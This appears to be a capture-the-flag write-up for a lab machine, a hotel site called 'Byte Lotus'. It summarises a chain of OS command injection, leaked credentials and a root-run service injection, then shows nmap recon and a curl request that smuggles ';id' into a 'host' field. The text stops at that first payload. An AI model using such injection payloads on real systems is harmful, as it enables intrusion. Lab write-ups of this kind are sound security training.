Summary
Recon on <MACHINE_IP> revealed a Gunicorn-hosted "Byte Lotus" hotel site with two paths disallowed in robots.txt - /internal/ and /status. The /status page exposes an internal staff tool ("Sister-property connectivity") that POSTs a host parameter to /internal/netcheck, which shells out to ping without sanitizing input. This allowed OS command injection as the web user, leading to an initial foothold and the user flag.
From there, an internal-only "Watchtower" ops console (127.0.0.1:3000) leaked FreePBX UCP credentials that were explicitly noted as unrotated default template creds. Logging into the UCP dashboard (via SSH port forwarding, since curl-based login kept looping) and adding a voicemail widget exposed an "Automation Key" bearer token that had leaked into a caller-ID field. That key authenticated to a root-run internal automation service (127.0.0.1:9000), whose /jobs/export endpoint built a shell command from an unsanitized report parameter - a second command injection, this time as root, yielding the root flag.
Recon
nmap -A -Pn <MACHINE_IP> -o nmap
Starting Nmap 7.98 ( https://nmap.org ) at 2026-08-07 03:02 -0400
Nmap scan report for <MACHINE_IP>
Host is up (0.042s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 cd:c0:dc:fe:7e:89:73:23:78:51:06:96:e4:c4:19:7f (ECDSA)
|_ 256 32:b1:32:b9:b3:5f:30:92:6c:ee:58:fd:15:82:5d:69 (ED25519)
80/tcp open http Gunicorn
|_http-server-header: gunicorn
| http-robots.txt: 2 disallowed entries
|_/internal/ /status
|_http-title: Byte Lotus — Stay Noticed
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|general purpose|storage-misc
Running (JUST GUESSING): Crestron 2-Series (86%), Linux 4.X|5.X (86%), HP embedded (85%)
OS CPE: cpe:/o:crestron:2_series cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/h:hp:p2000_g3
Aggressive OS guesses: Crestron XPanel control system (86%), Linux 4.15 - 5.19 (86%), HP P2000 G3 NAS device (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 37.96 ms 192.168.128.1
2 ...
3 38.68 ms <MACHINE_IP>
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.65 seconds
Two open ports: SSH (22) and HTTP (80, Gunicorn). OS guesses (Crestron/embedded) are noise from the unreliable OS scan and can be disregarded.
robots.txt disclosed two hidden paths:
User-agent: *
Disallow: /internal/
Disallow: /status
/static/app.js contained a developer comment leaking the internal endpoint behind /status:
// Byte Lotus front-end bootstrap.
// TODO(ops): the staff connectivity tool at /status posts to the legacy
// /internal/netcheck handler. Keep it out of the public nav until the new
// auth gateway ships. Disallowed in robots.txt for now.
/internal/ (GET) returned 404 directly, but /status (GET) rendered a form:
<form method="post" action="/internal/netcheck" class="tool">
<input type="text" name="host" value="" placeholder="property host e.g. 10.0.0.5" autofocus>
<button type="submit">Check</button>
</form>
dirsearch against the root found nothing further of interest.
Vulnerability - OS Command Injection in /internal/netcheck
The host field is passed unsanitized into a shell command (almost certainly ping <host> under the hood, given the trailing ping: usage error output on every request). Standard ;-separated command chaining worked immediately:
curl -X POST http://<MACHINE_IP>/internal/netcheck -d 'host=;id'